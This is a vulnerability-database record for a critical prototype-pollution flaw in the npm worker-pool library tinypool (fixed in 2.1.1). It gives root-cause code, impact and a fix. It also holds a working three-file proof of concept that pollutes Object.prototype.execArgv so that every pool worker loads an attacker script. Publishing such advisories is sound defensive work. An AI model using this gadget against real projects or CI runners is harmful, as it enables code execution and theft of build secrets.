{"schema":"threatline.record/2","record":{"id":"CVE-2026-104848","aliases":["GHSA-5gmw-xhrv-c9v3"],"summary":"Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution","details":"`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.\n2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv:            this.options.env,\nargv:           this.options.argv,\nexecArgv:       this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** — the application's own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** — attacker-controlled code (never referenced by the app):\n```js\nconst fs = require('fs')\nfs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)\nconsole.log('*** RCE ***')\n```\n\n**app.js** — normal tinypool usage:\n```js\nconst path = require('path')\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]\n\nconst { Tinypool } = require('tinypool')\nconst pool = new Tinypool({\n  filename: path.join(__dirname, 'worker.mjs'),\n  minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r => {\n  console.log('pool returned:', r)  // 42 — app works normally\n  pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt   # attacker's code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n  kDefaultOptions, options, { filename, maxQueue: 0 });\n```","categories":["Libraries & packages"],"product":"tinypool","vendor":"tinylibs","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-5gmw-xhrv-c9v3","source_modified_at":"2026-10-05T22:50:02Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"tinypool"},"range":"<= 2.1.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-104848","source_modified_at":"2026-10-02T17:29:40.500Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"tinypool","vendor":"tinylibs","versions":[{"version":"< 2.1.1","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-5gmw-xhrv-c9v3","source_modified_at":"2026-10-05T23:00:04.259458991Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"tinypool","ecosystem":"npm","purl":"pkg:npm/tinypool"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.1"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-5gmw-xhrv-c9v3","source_modified_at":"2026-10-05T22:50:02Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"tinypool"},"version":"2.1.1"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-5gmw-xhrv-c9v3","source_modified_at":"2026-10-05T23:00:04.259458991Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"tinypool","ecosystem":"npm","purl":"pkg:npm/tinypool"},"version":"2.1.1"}],"cvss":9.5,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.00497,"percentile":0.41725,"score_date":"2026-10-23"},"published_at":"2026-10-02T16:15:04.101Z","modified_at":"2026-10-05T23:00:04.259458991Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-5gmw-xhrv-c9v3","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:50:02Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-104848","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-02T17:29:40.500Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-5gmw-xhrv-c9v3","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-05T23:00:04.259458991Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104848","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104848","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/pull/134","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/releases/tag/v2.1.1","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-5gmw-xhrv-c9v3","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-10-02T17:29:00.481503Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T23:00:04.259458991Z","content_hash":"4e452f761a005fb028a222c933e699a726d045171da1b6bdcee3f37910a83124"}}